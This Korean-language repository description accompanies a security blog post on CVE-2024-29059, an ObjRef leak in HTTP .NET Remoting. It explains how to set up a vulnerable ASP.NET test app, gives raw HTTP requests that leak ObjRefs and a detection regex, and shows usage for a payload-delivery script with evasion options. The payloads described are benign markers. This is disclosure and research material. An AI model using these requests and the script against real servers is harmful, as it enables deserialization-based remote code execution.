
HTTP .NET Remoting (CVE-2024-29059)을 통한 ObjRefs 누출 및 악용을 위한 추가 리소스
ObjRef 유출 및 악용 (CVE-2024-29059)이 저장소는 동일한 제목의 CODE WHITE 블로그 게시물 Leaking ObjRefs to Exploit HTTP .NET Remoting에 대한 추가 세부 정보 및 리소스를 제공합니다:
ObjRef 유출 탐지TypeFilterLevel.Low 제한 하에서 작동하는 예제 역직렬화 페이로드다음은 Microsoft의 ASP.NET 웹 사이트에 Application Insights 구성을 기반으로 하며, Visual Studio 2019 (.NET Framework 4.5.2를 타겟팅하는 데 필요하며, https://aka.ms/vs/16/release/vs_community.exe에서 다운로드 가능) 및 Microsoft Application Insights를 사용하여 취약한 ASP.NET 웹 애플리케이션을 만드는 방법을 설명합니다:
2024년 1월의 .NET Framework 업데이트가 설치된 경우, Web.config 파일을 열고 /configuration/appSettings 아래에 다음을 추가하여 취약한 동작을 다시 활성화합니다:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
그런 다음 디버그 > 디버깅하지 않고 시작을 선택하거나 Ctrl+F5를 눌러 웹 애플리케이션을 실행할 수 있습니다.
ObjRef 유출 탐지다음 요청을 사용하여 LogicalCallContext에 저장된 MarshalByRefObject 인스턴스의 ObjRef를 유출할 수 있습니다:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
유출된 ObjRef URI는 다음 정규식을 사용하여 매칭할 수 있습니다:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
우리는 TypeFilterLevel.Low로 인한 제한 하에서 작동하는 사용자 정의 XAML 페이로드를 포함하는 YSoSerial.Net의 TextFormattingRunProperties 가젯을 기반으로 두 가지 간단한 역직렬화 페이로드를 만들었습니다. 다음을 수행합니다:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"HTTP 헤더는 서버의 HTTP .NET Remoting 요청에 대한 응답에서 관찰할 수 있습니다.
RemoteApplicationMetadata.py 스크립트는 기존 ObjRef를 유출한 후 이를 후속 요청에서 사용하여 주어진 페이로드를 전달하는 방법을 제공합니다:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
예시:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v